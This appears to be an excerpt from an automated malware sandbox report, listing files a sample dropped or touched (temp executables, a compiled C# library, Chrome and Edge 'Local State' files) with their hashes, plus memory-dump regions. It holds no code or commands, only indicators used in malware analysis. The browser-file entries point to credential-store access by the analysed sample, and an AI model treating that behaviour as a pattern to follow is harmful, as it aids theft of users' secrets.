SHA256 db36eb357b87e7da9620f8da2d3b5cb47138154acde42af85447e0a4501bc855
SHA512 ccd9011aaf7f4fa20bad08bd746649dd04d961cf1a088489e4b2eea50c10dbdf723a76213e60d22f3c38c6169f5384528708d3e8b5a3a9d531c57f719cc9be63

C:\Users\Admin\AppData\Local\Temp\Pr.accdt

MD5 c548afe163c6a7c351cd8741dc953c8a
SHA1 65932b80365df879d7125ec6050393326ff8a4da
SHA256 a12c4b220138025c8d4a2d28f91dba9b436ddf19e2013e79c1a13fb64f43deee
SHA512 077ff26863f9c6d20ebd7da036b5fb4bf2847a71232f615d099c9de790c678692d0444238463e1497aedc354d87927600a0c3276fe73d0966902546c7ceaf98f

C:\Users\Admin\AppData\Local\Temp\Dolls.accdt

MD5 2d06c150457e854cec25c1f213db238d
SHA1 37a8b8833b2e13fcd355ef72e8ebdb7f473a27a0
SHA256 49eb14e0647a803fd452971d5f4d9754757a35d13c1547406c5d358867c0c3a4
SHA512 df6a7bacbab123048b48d8a1a8cc823f7f1f25e39539a37fc9fe227993993d6d1f3ebf290f01aca322a3dfa0edf718d65ebd2ec693f9f86962f543d550491cbf

C:\Users\Admin\AppData\Local\Temp\362997\Opens.com

MD5 62d09f076e6e0240548c2f837536a46a
SHA1 26bdbc63af8abae9a8fb6ec0913a307ef6614cf2
SHA256 1300262a9d6bb6fcbefc0d299cce194435790e70b9c7b4a651e202e90a32fd49
SHA512 32de0d8bb57f3d3eb01d16950b07176866c7fb2e737d9811f61f7be6606a6a38a5fc5d4d2ae54a190636409b2a7943abca292d6cefaa89df1fc474a1312c695f

C:\Users\Admin\AppData\Local\Temp\362997\E

MD5 7f85fdb2f9d02c461bf9eea1b586e9e7
SHA1 307fd3394978e1a24b9ce89ea7de6fffb45a44c9
SHA256 071f1238937f046b94b55bd1756a35cb386f11bf60e1966c3d035cc7ad8ca3d6
SHA512 7b0fb2bf3dc91b6ba9bd887d61bdb7c9524b18fb566afcd1d2717aa7412463f228a75b2d39a1e221951e65780528dff72cb1f46d473d598a0ea27667230a721b

C:\Users\Admin\AppData\Local\Temp\Driven

MD5 982414249bca89476e5c617d200928c7
SHA1 807cea7865f10267c7c1ac24f6214cab68329216
SHA256 71472523c602cd41ad39f5cbceee283e53ebc4cc36a8761990b6180215116f99
SHA512 020b4de6963f5e6861117057951baf7b8690501faa41987a42606ef33a9df7dc4ef022e0c48627bfa27685dfa2dab28ef1a4fd2783b05fda228c91697252dff3

C:\Users\Admin\AppData\Local\Temp\Film

MD5 f7819d7e5c4802738ab703e2e37bab00
SHA1 15c6dc7a08f06d4ff3b24016eff33c3fbc95c15c
SHA256 a06d3c5bef01f4079eb38532ba52b6cb6dbbca986b56f9aad3188c3efab12808
SHA512 da426800099c7182c946c844675af88d20c46e98e6726e8a8e0686db0d7ed2b468683139c932769df4e7b4d154601d16eae1040cf99082a5e5b072d0cedba009

C:\Users\Admin\AppData\Local\Temp\Inf

MD5 b1cad26d14ca191e0230cf18c57cf847
SHA1 11a8ca6e748b414d177d0d0361061953a679282e
SHA256 871328e439489119c2a383a84414bddd7de930ba0532d7a53fc96ce76c4b4f87
SHA512 57cd337a318b8799b0876cb302ab00dd4f60e76173f4cf1b521f9c868f40e5c1a7228eadec2658cf8effe78752c66e6d472c29e2dfec3f3acd184bcf935d747e

C:\Users\Admin\AppData\Local\Temp\Developing

MD5 420ac789e1a70cca7f3a3bd84eb199fb
SHA1 03defa4a28e115aecb410848b0f4391d06347018
SHA256 e5e2f7437db91ec1d964a42059fbe1d5c4df411ec25a66029d15cfa92d44e4f1
SHA512 f2dc3f9424d26c8294532407850885a227fae3363efa33ea25c54d2fb02f7905a2eb37ecc80f36def9c580e48c299eaddbc7933f5181fc32f3872e972d79462d

C:\Users\Admin\AppData\Local\Temp\Merchant

MD5 b56339241e5506488d18ea506dea80b2
SHA1 f00536c89de15f999c9abb17a000e7c5fd4e20aa
SHA256 08e6c2f81e55de108a5d7008468cb9d5edcc13cd93a072110f4d60904252475d
SHA512 1c35f54b254e2c3f463974857d0dad2bd0829c93e6950594ac05eff90ea66a55ec09fecb193102f8add090fb73aef26815724d81320f65afa91a4b86beef68e0

C:\Users\Admin\AppData\Local\Temp\Closure

MD5 85a7c1c68bd31f7f024ef5e7b6fbddd4
SHA1 e45bba1a0e911177924b0ce9eaec249feefe75c8
SHA256 19981e3693cdb4cfb547346961f427d413377135509c76dabfe13ad79339aa88
SHA512 835e8125859fba6b568b846a110cb9f47189bd8019041240960cfe60e928de24029db355a9ed677ac8966cd08d9e92fc82ba63eefcb26d7b7f856855d38ab900

memory/4312-391-0x00000000007A0000-0x00000000007D9000-memory.dmp

memory/4312-392-0x00000000007A0000-0x00000000007D9000-memory.dmp

memory/4312-394-0x00000000007A0000-0x00000000007D9000-memory.dmp

memory/4312-401-0x00000000007A0000-0x00000000007D9000-memory.dmp

memory/4312-402-0x00000000007A0000-0x00000000007D9000-memory.dmp

memory/4312-407-0x00000000007A0000-0x00000000007D9000-memory.dmp

memory/4312-408-0x00000000007A0000-0x00000000007D9000-memory.dmp

memory/2232-417-0x000001BDEF910000-0x000001BDEF932000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fnqzztrc.fjg.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

MD5 5486172a40ed8a8e9e9bdbaf88badf39
SHA1 8ff44aa975b1fb2d6ad0cdecb736a09a7bd7117d
SHA256 01cf5341e4d1ea4d879670bb304ee01f289fa92f0f4ff76b748389c087630396
SHA512 8dd3cf62bf09ff8ae4b14a4d66065874123d8c3092b886d287fdd891ad0ab1a22afb3318616cdd53f1cc69dd0b93705d5c69df4a9e466fd2a22e420edfb256f0

\??\pipe\crashpad_4404_PDBAYSFJGDSYMBNY

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports

MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

\??\c:\Users\Admin\AppData\Local\Temp\srk120sy\srk120sy.0.cs

MD5 3d1018b223caf0c61982a29cb26996cc
SHA1 743fd8c82380e7d72ec1cb2e05f149e148874b0e
SHA256 786a71b68cee9392682824e67abfb89e5ec70ee6fb37213491b5c9a95ac59c92
SHA512 7a632143e76410669fff27e2fa184d572a788e9d315f7c2415c7013cb07026678fe1b3e4fb1a77411f82941d7a03c64632c07d3fc1398e2df5741471b9462980

\??\c:\Users\Admin\AppData\Local\Temp\srk120sy\srk120sy.cmdline

MD5 56e58e215a61cebc396d03fabf1e748f
SHA1 22302d156e8a69a5ee7385bef4c14243a58968b9
SHA256 89e441f97b5de262c1719515bfde3d7429b9aa504225167266f464b5b7acd4aa
SHA512 2122ddda49b71f85c450b95fee0510e3b853493bab9f2b4502bfeb4cf93120feba0aa8b6970cdf53616afd9acb3337137bf21767db490fd063c76d91f40d4bf7

C:\Users\Admin\AppData\Local\Temp\tmp8299.tmp

MD5 40a13f9b39d6d3e649cf21f1b47da9ad
SHA1 b03d7f8ad2f90c61063e54cf45c01677f6a86942
SHA256 3cd5effba4bc90a72efe5e97609c962dd91d5b50e41f13bfa0f5606d322a5278
SHA512 7e821747ca4db1654c3ce01e31bc0bddfeb092464b0dea9aa8d5370c01dc0fc141fedcd168553c502a417b7703ced120ff53448c4135338cdff937a6f5f9cd5b

memory/2232-475-0x000001BDEFAD0000-0x000001BDEFAD8000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\srk120sy\srk120sy.dll

MD5 461138d42e563fe3945fad37e865b3b6
SHA1 c0167cb76097ddad08d854aada38c30b1efe13e8
SHA256 17f6011e6865e469e8e17bf0617eac159ba679d000a2c8b5c324eaae50a1a9a5
SHA512 62bb548be488016d2e0fa8a4c940a1dba47d7d1767d5dcdb4f564b853534f119e661d2d33ecc07d0383e42237d396111239077ca9f08583870c69e49ce9229bb

memory/4312-481-0x00000000007A0000-0x00000000007D9000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\RES9759.tmp

MD5 47705f1ebd2f9c056da642ae52755be6
SHA1 f931d40a00b841699b6e03140708a58c91970293
SHA256 409fa62620c65cac90c8a5e95f6fc5de187a2c001921f4f4f20ed1316c5d6b03
SHA512 d8116423b68281bf1d156de8bd2b6d263d9646bd9617626d184592a2028d78d39819edecb572764da20882cf3b09413d14e52abcc1da435c941d0b4d8a5ddbe3

\??\c:\Users\Admin\AppData\Local\Temp\srk120sy\CSC4675495100C4005AB42373D525A8B8A.TMP

MD5 c4a050738996491c25c2f9efc061e8e6
SHA1 4864a2a4eb37beca665832c34875e48b74099ce9
SHA256 010570dda945d574e31bac7b200c9fbbf8599aace6f9f9c89595e60589827b8b
SHA512 2f573a57f5451addd7f11372ab16f91082efbc6f960e451e1cf3f2365a7b2c275cb1665299f195a49c94a994cc4cce651f3bb3c58e8283ba32b86e5c58ff88cd

memory/4312-482-0x00000000007A0000-0x00000000007D9000-memory.dmp

memory/4312-485-0x00000000007A0000-0x00000000007D9000-memory.dmp

memory/4312-489-0x00000000007A0000-0x00000000007D9000-memory.dmp

memory/4312-490-0x00000000007A0000-0x00000000007D9000-memory.dmp

memory/4312-495-0x00000000007A0000-0x00000000007D9000-memory.dmp

memory/4312-491-0x00000000007A0000-0x00000000007D9000-memory.dmp

memory/4312-499-0x00000000007A0000-0x00000000007D9000-memory.dmp

memory/4312-500-0x00000000007A0000-0x00000000007D9000-memory.dmp

memory/4312-502-0x00000000007A0000-0x00000000007D9000-memory.dmp

memory/4312-501-0x00000000007A0000-0x00000000007D9000-memory.dmp

memory/4312-506-0x00000000007A0000-0x00000000007D9000-memory.dmp

memory/4312-503-0x00000000007A0000-0x00000000007D9000-memory.dmp

memory/4312-510-0x00000000007A0000-0x00000000007D9000-memory.dmp

memory/4312-511-0x00000000007A0000-0x00000000007D9000-memory.dmp

memory/4312-516-0x00000000007A0000-0x00000000007D9000-memory.dmp

memory/4312-512-0x00000000007A0000-0x00000000007D9000-memory.dmp

memory/4312-520-0x00000000007A0000-0x00000000007D9000-memory.dmp

memory/4312-521-0x00000000007A0000-0x00000000007D9000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 eeca0c0ef914a5100df9ff86c7f980f3
SHA1 295e4eb9d25df662658a2cfce6d134044257319e
SHA256 ad0884dcde2b9adf22f8b1adba4bb21dfe73a1b5ba9ac656cc0150fdf5f9fcc4
SHA512 e29a79ce0a939e96bc4c95d285d18fd44d0f615c44f477fd2f5b96a71a3d39a418807bf6acac76ee4ab74b3c74b18b2f6d8eac2cda4e7bd9da9e0d043d2cd3e0

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 af2e2f9069d6700662fc4f42db923f9b
SHA1 34cfa6edec5d4885a6e3a5a23af378179eb3a982
SHA256 5839491ee2723c853670d5c0d304a0c8ab8ffd530e8c9ae5b45b5fa054b02667
SHA512 84fc0f8ff9aee9e6322d433931eccc233123179f8165f58de0c62dfb63d7891312f8d3799710e6aba4a25f8b5f836b2aa9092a9a9bf4fc2c6bba490615fe44a1

memory/4312-551-0x00000000007A0000-0x00000000007D9000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\10ca581f-4f9d-45d1-9fd4-c4f2f5973387\index-dir\the-real-index

MD5 8908370002c38d5fa47b961319ada0b5
SHA1 8eac5b7bb8e903b9490d26c310bc8c4af6b0e78a
SHA256 823547f802fe61dc3c7d4a57a108474a9c0fce062fc085c72d319d9461f6c34e
SHA512 e7c083f168d093eb187002481e07043699c524d5ef022504d663f65a83583ec7301f9e5b623ae156f38a90f71dc4c5bd62f2b45b00b384b6f27081a01d65d87d

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\10ca581f-4f9d-45d1-9fd4-c4f2f5973387\index-dir\the-real-index~RFe58c203.TMP

MD5 f7345efcdd33a74d1424d9dc7f6861c0
SHA1 b376e0ce114a40865af3013b6d15a45ea07067d8
SHA256 87436146c4588f6dfd8f2c2fde0d8206199aeb9b70a3a9320ccc2e5e35721b28
SHA512 f3425cc76475106c079272a17265b7fe4cca780ad57ed077001b923a91443fb7d7413a78c73d2a8ca5fbe1f7e1d6f205a429701509772b6aa53ea05c30edf312

memory/4312-879-0x00000000007A0000-0x00000000007D9000-memory.dmp

memory/4312-900-0x00000000007A0000-0x00000000007D9000-memory.dmp

memory/4312-905-0x00000000007A0000-0x00000000007D9000-memory.dmp

memory/4312-908-0x00000000007A0000-0x00000000007D9000-memory.dmp

memory/4312-909-0x00000000007A0000-0x00000000007D9000-memory.dmp

memory/4312-913-0x00000000007A0000-0x00000000007D9000-memory.dmp

memory/4312-914-0x00000000007A0000-0x00000000007D9000-memory.dmp

memory/4312-921-0x00000000007A0000-0x00000000007D9000-memory.dmp

memory/4312-922-0x00000000007A0000-0x00000000007D9000-memory.dmp

memory/4312-926-0x00000000007A0000-0x00000000007D9000-memory.dmp

memory/4312-927-0x00000000007A0000-0x00000000007D9000-memory.dmp

memory/4312-931-0x00000000007A0000-0x00000000007D9000-memory.dmp

memory/4312-932-0x00000000007A0000-0x00000000007D9000-memory.dmp

memory/4312-936-0x00000000007A0000-0x00000000007D9000-memory.dmp

memory/4312-937-0x00000000007A0000-0x00000000007D9000-memory.dmp

memory/4312-938-0x00000000007A0000-0x00000000007D9000-memory.dmp

memory/4312-939-0x00000000007A0000-0x00000000007D9000-memory.dmp

memory/4312-940-0x00000000007A0000-0x00000000007D9000-memory.dmp